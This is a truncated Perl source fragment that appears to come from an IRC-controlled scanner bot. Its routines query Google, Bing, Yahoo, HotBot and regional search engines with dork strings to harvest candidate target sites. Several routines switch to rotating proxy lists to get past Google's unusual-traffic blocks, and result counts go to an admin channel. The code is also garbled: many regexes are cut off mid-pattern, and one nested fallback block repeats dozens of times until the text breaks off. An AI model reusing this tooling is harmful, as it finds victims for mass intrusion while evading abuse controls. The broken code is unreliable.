($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); } if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); } if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); } if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); } @clean = &clean(@total); if(@clean > 0) { # &msg("$chan",$art{"front"}."10ID:".$id."".$art{"div"}."15".uc($engine).$art{"div"}."14 ".scalar(@clean)."".$art{"back"}); } return @clean; } sub google { my @list; my ($chan, $key, $dom, $mode, $sleep) = @_; my $ctr = ""; my $dir = ""; if($dom =~ /\./) { if($dom eq "com.hk") { $ctr = "&cr=countryCN"; $dir = "cn"; } else { my @doms = split(/\./, $dom); $ctr = "&cr=country".uc($doms[1]); $dir = lc($doms[1]); } } else { if($dom eq "com") { $ctr = ""; $dir = "com"; } else { $ctr = "&cr=country".uc($dom); $dir = lc($dom);} } if($gscan > 0) { my $rand = $gbypass[rand(scalar(@gbypass))]; for (my $i=0; $i <= 1000; $i+=100){ if($i > 0) { sleep(20);} my $rand1 = ""; my $jack = ""; $jack = ($mode == 2) ? $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q=" : "http://www.google.".$dom."/search?q="; my $search = ($jack.$key.$ctr."&num=100&filter=0&start=".$i); my $res = &engineQuery($search); if($res =~ /ipv4\.google\.com/ || $res =~ /ipv6\.google\.com/|| $res =~ /detected\sunusual\straffic/) { $rand1 = $gbypass[rand(scalar(@gbypass))]; $jack = $rand1."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q="; $search = ($jack.$key.$ctr."&num=100&start=".$i); $res = &engineQuery($search); } while ($res =~ m/ 0) { push(@list,@google2); &msg($data{"admin"}, "WITH GOOGLEAPI FOR GOOGLE".uc($dom)." : ".scalar(@list)); } return @list; } sub googleApi { my ($tld,$dom,$key) = @_; my @list; my $ctr; my $gUrl = ($gApi eq "") ? "" : "&key=".$gApi; if(!$tld) { $ctr = ($dom ne "com") ? "&cr=country".uc($dom) :""; } else { $ctr = ""; $key = $key."%2Bsite%3A".lc($key); } for(my $i = 0; $i <= 15;$i++) { my $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw".$gUrl."&rsz=8".$ctr."&start=".$i."&q=".$key; my $check = &get_content($url); sleep(2); if($check !~ /visibleUrl/ig) { $i = 15; } while($check =~ m/\"visibleUrl\"\:\"(.+?)\"/ig) { my $link = $1; if ($link !~ /$badsite/){ push(@list,$link); } } } return @list; } sub coi { my @list; my ($key, $dom, $tipe, $mode, $sleep) = @_; my $jack = ($mode == 2) ? $racrew[int(rand(scalar(@racrew)))] : $racrew[$tipe]; for (my $i=0; $i <= 1000; $i+=100){ if($i > 0) { sleep(10);} my $search = ($jack.$pgfa[$tipe].$key."%2Bsite%3A".$dom."%26num%3D100%26start%3D".$i); my $res = &engineQuery($search); if($res =~ /ipv4\.google\.com/ || $res =~ /ipv6\.google\.com/|| $res =~ /detected\sunusual\straffic/) { $jack = $racrew[int(rand(scalar(@racrew)))]; $search = ($jack.$pgfa[$tipe].$key."%2Bsite%3A".$dom."%26num%3D100%26start%3D".$i); $res = &engineQuery($search); } while ($res =~ m/ 0) { push(@list,@google2); } return @list; } sub coiGetData { my ($chan,$key,$engine, $tipe) = @_; my (@clean,@list); my $dom = (lc($engine) eq "google") ? "com" : lc(substr($engine,-2)); my $dom2 = $dom; if($dom eq "com") { $ctr = ""; } else { my %doms = ("uk" => "co.uk", "nz" => "co.nz", "br" => "com.br", "ar" => "com.ar", "co" => "com.co", "cu" => "com.cu", "mx" => "com.mx", "au" => "com.au", "il" => "co.il", "tr" => "com.tr", "ua" => "com.ua", "jp" => "co.jp", "cn" => "com.hk", "my" => "com.my", "th" => "co.th", "in" => "co.in", "kr" => "co.kr", "tw" => "com.tw", "za" => "co.za", "id" => "co.id", "ke" => "co.ke", "ec" => "com.ec", "vn" => "com.vn", "zm" => "co.zm", "ph" => "com.ph" ); if($doms{"$dom"}) { $ctr = "&cr=country".uc($dom); $dom = $doms{"$dom"}; } else { $ctr = "&cr=country".uc($dom); } } my $rand = $lbypass[rand(scalar(@lbypass))]; for (my $i=0; $i <= 1000; $i+=100){ if($i > 0) { sleep(20);} my $jack = "http://www.google.".$dom."/search?q="; my $search = ($jack.$key.$ctr."&num=100&filter=0&start=".$i); my $res = &engineQuery($search); if($res =~ /ipv4\.google\.com/ig or $res =~ /ipv6\.google\.com/ig or $res =~ /detected\sunusual\straffic/ig ) { $jack = $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q="; $search = ($jack.$key.$ctr."&num=100&start=".$i); $res = &engineQuery($search); if($res =~ /ipv4\.google\.com/ig or $res =~ /ipv6\.google\.com/ig or $res =~ /detected\sunusual\straffic/ig) { $rand = ""; $rand = $lbypass[rand(scalar(@lbypass))]; $jack = $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q="; $search = ($jack.$key.$ctr."&num=100&start=".$i); $res = &engineQuery($search); if($res =~ /ipv4\.google\.com/ig or $res =~ /ipv6\.google\.com/ig or $res =~ /detected\sunusual\straffic/ig) { $rand = ""; $rand = $racrew[int(rand(scalar(@racrew)))]; $jack = $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q="; $search = ($jack.$key.$ctr."&num=100&start=".$i); $res = &engineQuery($search); } } } while ($res =~ m/ 0) { push(@list,@google2); } @clean = &clean(@list); return @clean; } sub coiGetDork { my ($chan, $engine) = @_; my @result = ("false"); if(-e "dork.txt") { my $ndork = &newDork($engine); if($ndork) { if($engine =~ /google/i){ my @ndata = &coiGetData($chan,$ndork,$engine,"data"); if(scalar(@ndata) > 0) { @result = (); @result = @ndata; } else { &coiGetDork($chan, $engine); } } else { if(lc($engine) !~ /$oth/) { my $tipe = int(rand(scalar(@pgfa))); my $dom = lc($engine); my @ndata = &coi($ndork, $dom, $tipe, 1, 20); my @clean = &clean(@ndata); if(scalar(@clean) > 0) { @result = (); @result = @clean; } else { &coiGetDork($chan, $engine); } } } } } return @result; } #------------------------------- END BYPASS --------------------------------------------------------# sub seznam { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { if($i > 1) { sleep(8);} my $search = ("http://search.seznam.cz/?q=".$key."&count=20&from=".$i); my $res = &engineQuery($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub searchnz { my @list; my $key = $_[0]; for (my $i=1; $i <=500; $i+=50) { if($i > 1) { sleep(8);} my $search = ("http://searchnz.co.nz/search.aspx?q=".$key."&gr=false&np=".$i); my $res =&engineQuery($search); while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) { if ($1 !~ /webads\.co\.nz/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { if($i > 1) { sleep(8);} $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$i."&ie=utf8&num=".$num."&q=".$key."&lr=all"; my $res = &engineQuery($search); while ( $res =~ m/ 1) { sleep(8); } my $search = ("http://www.hotbot.com/search/web?pn=".$i."&q=".$key."&keyvol=".$token); my $res = &engineQuery($search); if ($res =~ m/had no web result/i) {$i=50;} while ($res =~ /\(.+)\<\/span\>/g) { my $link = $1; if ($link !~ /$badsite/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uol { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100) { if($i > 0) { sleep(8);} my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".$key."&start=".$i); my $res = &engineQuery($search); if ($res =~ m/retornou nenhum resultado/i) {$b=500;} while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub onet { my @list; my $key = $_[0]; for (my $i=1; $i<=600; $i+=60) { if($i > 1) { sleep(8);} my $search = ("http://szukaj.onet.pl/".$i.",query.html?qt=".$key); my $res = &engineQuery($search); while ($res =~ m//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub walla { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=10) { if($i > 0) { sleep(8);} my $search = ("http://search.walla.co.il/?q=".$key."&type=text&page=".$i); my $res = &engineQuery($search); while ($res =~ m/ 0) { sleep(10);} my $search = ("http://search.yahoo.com/search?p=".$key."&b=".$i); my $res = &engineQuery($search); while ($res =~ m/http\%3a\/\/(.+?)\"/g) { my $link = $1; if ($link !~ /yahoo\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dogpile { my @list; my $key = $_[0]; for (my $i = 1; $i<=901; $i+= 10) { if($i > 0) { sleep(8);} my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$i."&q=".$key); my $res = &engineQuery($search); while ($res =~ m/(.+?)<\/a>/g) { my $link = $2; if ($link!~ /dogpile/) { my @grep=links($link); push(@list,@grep); } } } return @list; } sub bing { my @list; my $key = $_[0]; for (my $i=1; $i<=300; $i+=10) { my $search = ("http://www.bing.com/search?q=".$key."&first=".$i); my $res = &engineQuery($search); while ($res =~ m//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub susu() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=200; $b+=10) { my $search = ("http://new.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub oral() { my @list; my $key = $_[0]; for ($b=0; $b<=50; $b+=1) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub klitoris() { my @list; my $key = $_[0]; for ($b=0; $b<=300; $b+=10) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub masturbasi() { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=10) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = search_engine_query($search); while ( $res =~ m/\"]*)\//g){ if ($1 !~ /pagina|pagina's/){ my $k=$1; my @grep=links($k); push(@list,@grep); } } } return @list; } sub penis(){ my @list; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b.""); my $Res=search_engine_query($Th); while($Res =~ m/href=\"http:\/\/(.+?)\//g){ my $link = $1; $link =~ s/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); 